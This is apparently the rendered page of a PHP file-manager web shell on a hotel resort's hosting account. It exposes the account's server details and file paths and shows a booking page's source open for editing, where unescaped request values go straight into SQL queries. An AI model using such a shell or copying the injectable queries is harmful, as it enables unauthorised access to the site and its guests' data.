Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: view_room.php

<?php
session_start();
include('header.php'); ?>
<?php include('config.php'); ?>
<?php include('user.php'); ?>
<?php

if (isset($_SESSION['query'])) {
    $checkin = $_SESSION['checkin-date'];
    $checkout = $_SESSION['checkout-date'];
    $room = $_SESSION['room'];
    $adults = $_SESSION['adults'];
    $children = $_SESSION['children'];
}

// Fetch the room ID from the GET request
$room_id = $_GET['id'];

// Fetch room details from the database based on room ID
$get_record = mysqli_query($conn, "SELECT * FROM room WHERE room_id = '$room_id'");
$fetch = mysqli_fetch_assoc($get_record);
$db_bed = $fetch['bed_num'];

// Initialize validation variables
$validation = "";
$valid = "";
$error = 0;
$error_msg = "";

// AVAILABILITY CHECK
if (isset($_POST['check'])) {
    // Set the timezone to Philippines Time (Asia/Manila)
    date_default_timezone_set('Asia/Manila');

// Fetch check-in and check-out dates from the form
    $c_in = $_POST['c_in'];
    $c_out = $_POST['c_out'];

$_SESSION['c_in'] = $_POST['c_in'];
    $_SESSION['c_out'] = $_POST['c_out'];

// Convert the dates to Unix timestamps for comparison
    $current_date = date("Y-m-d"); // Current date in YYYY-MM-DD format
    $c_in_timestamp = strtotime($c_in);
    $c_out_timestamp = strtotime($c_out);
    $current_timestamp = strtotime($current_date);

$added_cin = strtotime("+1 day", $c_in_timestamp);
    $added_cout = strtotime("-1 day", $c_out_timestamp);

$formatted_date_cin = date("M d, Y", $added_cin);

// Check if the check-in or check-out date is in the past
    if ($c_in_timestamp < $current_timestamp && $c_out_timestamp < $current_timestamp) {
        $error_msg = "Both Check-In and Check-Out Dates are invalid";
        $error = 1;
    } elseif ($c_in_timestamp < $current_timestamp) {
        $error_msg = "Check-In Date is invalid";
        $error = 1;
    } elseif ($c_out_timestamp < $current_timestamp) {
        $error_msg = "Check-Out Date is invalid";
        $error = 1;
    } elseif ($c_out_timestamp < $c_in_timestamp) {
        // Check if the check-out date is before the check-in date
        $error_msg = "Check-Out Date cannot be earlier than Check-In Date.";
        $error = 1;
    } else {
        // Check if check-in and check-out dates are the same
        if ($c_in == $c_out) {
            $validation = "The dates are the same, so we assume your check-out date is " . $formatted_date_cin;
            $valid = 3;
            $_SESSION['c_out'] = $formatted_date_cin;
        } else {
            // Modify the query to handle overlapping dates and ensure check-out date is available for new booking
            $check_room = mysqli_query($conn, "
                SELECT * FROM `room_booking` 
                WHERE room_id = '$room_id' 
                AND (
                    ('$c_in' BETWEEN room_c_in AND room_c_out) 
                    OR ('$c_out' BETWEEN room_c_in AND room_c_out) 
                    OR (room_c_in BETWEEN '$c_in' AND '$c_out') 
                    OR (room_c_out BETWEEN '$c_in' AND '$c_out')
                )
            ");
            $row2 = mysqli_num_rows($check_room);

if ($row2 > 0) {
                // If any overlapping booking is found
                $validation = "Room is not available!";
                $valid = 1;
            } else {
                // If no overlap found, room is available
                $validation = "Room is available";
                $valid = 3;
            }
        }
    }
}

// Query for unavailable check-in dates

$unavailableDates = [];
$unavailableResult = mysqli_query($conn, "SELECT room_c_in, room_c_out FROM room_booking WHERE room_id = '$room_id'");

while ($row = mysqli_fetch_assoc($unavailableResult)) {
    $start_date = $row['room_c_in'];
    $end_date = $row['room_c_out'];

// Convert to timestamp for easy manipulation
    $start = strtotime($start_date); // Check-in date (2:00 PM)
    $end = strtotime($end_date); // Check-out date (12:00 PM)

// For check-in, mark the date as unavailable from 2:00 PM
    // For check-out, mark the previous date as unavailable till 12:00 PM

// Mark the dates between check-in and check-out as unavailable
    while ($start <= $end) {
        $unavailableDates[] = date('Y-m-d', $start); // Adding each date as unavailable
        $start = strtotime("+1 day", $start); // Move to the next day
    }
}

// Convert unavailable dates to JSON format for JavaScript
$unavailableDatesJson = json_encode($unavailableDates);
?>

<header class="header-area">
        
        <div class="search-form d-flex align-items-center">
            <div class="container">
                <form action="index.html" method="get">
                    <input type="search" name="search-form-input" id="searchFormInput" placeholder="Type your keyword ...">
                    <button type="submit"><i class="icon_search"></i></button>
                </form>
            </div>
        </div>

<div class="top-header-area" style="background-color:rgb(59, 115, 237);">
            <div class="container">
                <div class="row">

<div class="col-8">
                        <div class="top-header-content">
                            <a href="#"><i class="icon_phone"></i> <span>(+63) 916-638-85747</span></a>
                            <a href="#"><i class="icon_mail"></i> <span>info@silverconchawavepoolresortandhotel.com</span></a>
                        </div>
                    </div>

</div>
            </div>
        </div>

<div class="main-header-area">
            <div class="classy-nav-container breakpoint-off">
                <div class="container">
                    
                    <nav class="classy-navbar justify-content-between" id="robertoNav">

<a class="nav-brand img-fluid " href="index.php"><img src="./img/core-img/logo.png" style="height: 60px; width: auto;"></a>
                        
                        <div class="classy-navbar-toggler">
                            <span class="navbarToggler"><span></span><span></span><span></span></span>
                        </div>

<div class="classy-menu">
                            
                            <div class="classycloseIcon">
                                <div class="cross-wrap"><span class="top"></span><span class="bottom"></span></div>
                            </div>
                            
                            <div class="classynav pr-5">
                                <ul id="nav">
                                    <li><a href="index">Home</a></li>
                                    <li class="activeLink fw-bold"><a href="accommodation">Accommodation</a></li>
                                    <li><a href="amenities">Amenities</a></li>
                                    <li><a href="#">Pages</a>
                                        <ul class="dropdown">
                                            <li><a href="dining"><i class="fa-solid fa-plate-wheat mr-2"></i> Dining</a></li>
                                            <li><a href="event_hall"><i class="fa-solid fa-landmark-dome mr-2"></i> Event Hall</a></li>
                                            <li><a href="event_news"><i class="fa-solid fa-newspaper mr-2"></i> News & Events </a></li>
                                            
                                            <li><a href="faqs"><i class="fa-solid fa-clipboard-question mr-2"></i> FAQs</a></li>
                                        </ul>
                                    </li>
                                    <li class=""><a href="contact_us">Contact Us</a></li>
                                    <?php if (!isset($_SESSION['customer_id'])) { ?>
                                        <li><a href="login" class="btn text-white" style="background-color: #1076b4;"><i class="fa-solid fa-right-to-bracket"></i> Login</a></li>
                                        <li><a href="register" class="btn text-white" style="background-color: #1abc9c;"><i class="fa-solid fa-user"></i> Register</a></li>
                                    <?php } else { ?>
                                        <li>
                                            <a href="#" class="font-weight-bold">
                                                <img src="img/user.png" alt="User Avatar" style="width: 30px; height: 30px; border-radius: 50%; margin-right: 8px;">
                                                <?php echo $db_name ?>
                                            </a>
                                            <ul class="dropdown">

<li><a href="#"><i class="fa-solid fa-calendar-days mr-2"></i> Hotel Reservation</a>
                                                    <ul class="dropdown">
                                                        <li><a href="roomPending"><i class="fa-solid fa-clock-rotate-left mr-2"></i> Pending</a></li>
                                                        <li><a href="roomApproved"><i class="fa-solid fa-circle-check mr-2"></i> Approved</a></li>
                                                        <li><a href="roomDeclined"><i class="fa-solid fa-circle-xmark mr-2"></i> Declined</a></li>
                                                    </ul>
                                                </li>
                                                <li><a href="account"><i class="fa-solid fa-user mr-2"></i> Profile</a></li>
                                                <li><a href="logout"><i class="fa-solid fa-arrow-right-from-bracket mr-1"></i> Log Out</a></li>
                                            </ul>
                                        </li>
                                    <?php } ?>

</ul>

</div>
                            
                        </div>
                    </nav>
                </div>
            </div>
        </div>
    </header>

<div class="breadcrumb-area bg-img bg-overlay jarallax img-fluid" style="background-image: url(img/bg-img/108.jpg);">
        <div class="container h-100">
            <div class="row h-100 align-items-end">
                <div class="col-12">
                    <div class="breadcrumb-content d-flex align-items-center justify-content-between pb-5">
                        <h2 class="room-title"><?php echo $fetch['room_name'] ?></h2>
                        <?php if( $db_bed == 6){ ?>
                            <h2 class="room-price text-warning font-weight-bold">₱ <?php echo number_format($fetch['room_price'], 2) ?> - ₱ 10,000.00  <span>/ Per Night</span></h2>
                       <?php } else { ?>
                            <h2 class="room-price text-warning font-weight-bold">₱ <?php echo number_format($fetch['room_price'], 2) ?> <span>/ Per Night</span></h2>
                      <?php } ?>
                      
                       
                    </div>
                </div>
            </div>
        </div>
    </div>

<div class="roberto-rooms-area section-padding-100-0">
        <div class="container">
            <div class="row">
                <div class="col-12 col-lg-8">
                    
                    <div class="single-room-details-area mb-50">
                        
                        <div class="room-thumbnail-slides mb-50">
                            <div id="room-thumbnail--slide" class="carousel slide" data-ride="carousel">
                                <div class="carousel-inner">
                                    <?php
                                    // SQL query to fetch all images for the room
                                    $sql2 = "SELECT * FROM room_images WHERE room_id = '$room_id' ORDER BY image_id DESC";
                                    $res2 = $conn->query($sql2);
                                    $activeClass = 'active'; // Variable to add the active class to the first image

// Array to store the images for carousel indicators
                                    $carouselIndicators = [];

while ($row2 = $res2->fetch_assoc()) {
                                        $image1 = $row2['image_path'];
                                        $newimage1 = substr($image1, 3); // Removing the leading part of the image path

// Carousel items (images)
                                        echo '<div class="carousel-item ' . $activeClass . '">';
                                        echo '<img src="admin/' . $newimage1 . '" class="d-block w-100" alt="" style="height: 490px;">';
                                        echo '</div>';

// Carousel indicators
                                        $carouselIndicators[] = '<li data-target="#room-thumbnail--slide" data-slide-to="' . (count($carouselIndicators)) . '" class="' . $activeClass . '">
                                            <img src="admin/' . $newimage1 . '" class="d-block w-100" alt="" style="height: 60px;">
                                          </li>';

// Remove the 'active' class after the first image
                                        $activeClass = '';
                                    }
                                    ?>
                                </div>

<ol class="carousel-indicators">
                                    <?php
                                    // Output the dynamically generated indicators
                                    foreach ($carouselIndicators as $indicator) {
                                        echo $indicator;
                                    }
                                    ?>
                                </ol>
                            </div>
                        </div>

<div class="room-features-area d-flex flex-wrap mb-50">

<h6>Capacity: <span><?php echo $fetch['capacity'] ?> Persons</span></h6>
                            <h6>No. of Bed: <span><?php echo $fetch['bed_num'] ?></span></h6>
                            <h6>Bed: <span><?php echo $fetch['bed_description'] ?></span></h6>
                            <h6>Services: <span>Wifi, television ...</span></h6>
                        </div>

<div class="room-service mb-50">
                            <h4>Room Services</h4>

<ul>
                                <li><img src="img/core-img/icon1.png" alt=""> Air Conditioning</li>
                                <li class="pr-2"><img src="img/core-img/icon2.png" alt=""> Complimentary drinks</li>
                                <li><img src="img/core-img/icon3.png" alt=""> Restaurant</li>
                                <li><img src="img/core-img/icon4.png" alt=""> Smart TV</li>
                                <li><img src="img/core-img/icon5.png" alt=""> Wifi</li>
                                <li><img src="img/core-img/icon6.png" alt=""> Service 24/7</li>
                            </ul>
                        </div>

<ul>
                            <li><i class="fa fa-check"></i> Pool Access.</li>
                            <li><i class="fa fa-check"></i> Resort Bar.</li>
                            <li><i class="fa fa-check"></i> Foam Party with DJ (Every Saturday Night).</li>
                            <li><i class="fa fa-check"></i> Free Nexflix Movie Marathon.</li>
                            <li><i class="fa fa-check"></i> Restaurant.</li>

</ul>

<p>Book your stay and experience the perfect blend of sophistication and relaxation.</p>
                    </div>

</div>

<div class="col-12 col-lg-4">
                    
                    <div class="hotel-reservation--area mb-100">
                        <div class="card">
                            <div class="card-header bg-info">
                                <h5 class="p-0 text-center text-white"><strong>Check Availability</strong></h5>
                            </div>
                            <form action="#" method="post">
                                <div class="form-group">
                                    <div class="card-body">

<div class="row">
                                            <div class="col">
                                                <label for=""><small><strong>Check In:</strong></small></label>
                                                <input type="text" class="form-control mb-2" id="check_in" name="c_in" value="<?php echo $c_in ?? ''; ?>" placeholder="Check In" required>
                                            </div>
                                            <div class="col" id="check_out_group"> 
                                                <label for=""><small><strong>Check Out:</strong></small></label>
                                                <input type="text" class="form-control" id="check_out" name="c_out" value="<?php echo $c_out ?? ''; ?>" placeholder="Check Out" required>
                                            </div>
                                        </div>

<?php if (isset($_POST['check'])) { ?>
                                            <div class="row">
                                                <div class="col">

<?php if ($error == 1) { ?>
                                                        <div class="alert alert-danger mt-3">
                                                            <strong>Error!</strong> <?php echo $error_msg ?>.
                                                        </div>
                                                    <?php } else { ?>
                                                        <?php if ($valid == 1) { ?>
                                                            <div class="alert alert-danger mt-4 mb-0">
                                                                <strong>Sorry!</strong> <?php echo $validation ?>.
                                                            </div>
                                                        <?php } else { ?>
                                                            <div class="alert alert-success mt-4 mb-0">
                                                                <strong>Confirm!</strong> <?php echo $validation ?>.
                                                            </div>
                                                        <?php } ?>
                                                    <?php } ?>

</div>
                                            </div>
                                        <?php } ?>
                                    </div>
                                </div>

<div class="card-footer">
                                    <div class="form-group">
                                        <button type="submit" name="check" class="btn roberto-btn2 text-white py-3 w-100" style="background-color: #1076b4;">Check</button>
                                    </div>
                                </div>
                            </form>
                        </div>

<?php if ($valid == 3) { ?>
                            <a href="check_out.php?id=<?php echo $room_id ?>" class="btn roberto-btn2 text-white btn-danger py-3 w-100 mt-3" style="background-color:rgb(84, 34, 184);">Book Now</a>
                        <?php } ?>
                        <div class="row">
                            <div class="col mt-2"><small>Note: If you want to book a single night and can't select the next day, please select the same day to proceed with the reservation.</small></div>
                        </div>
                    </div>

</div>
            </div>
        </div>
    </div>

<?php include('footer.php') ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: view_room.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation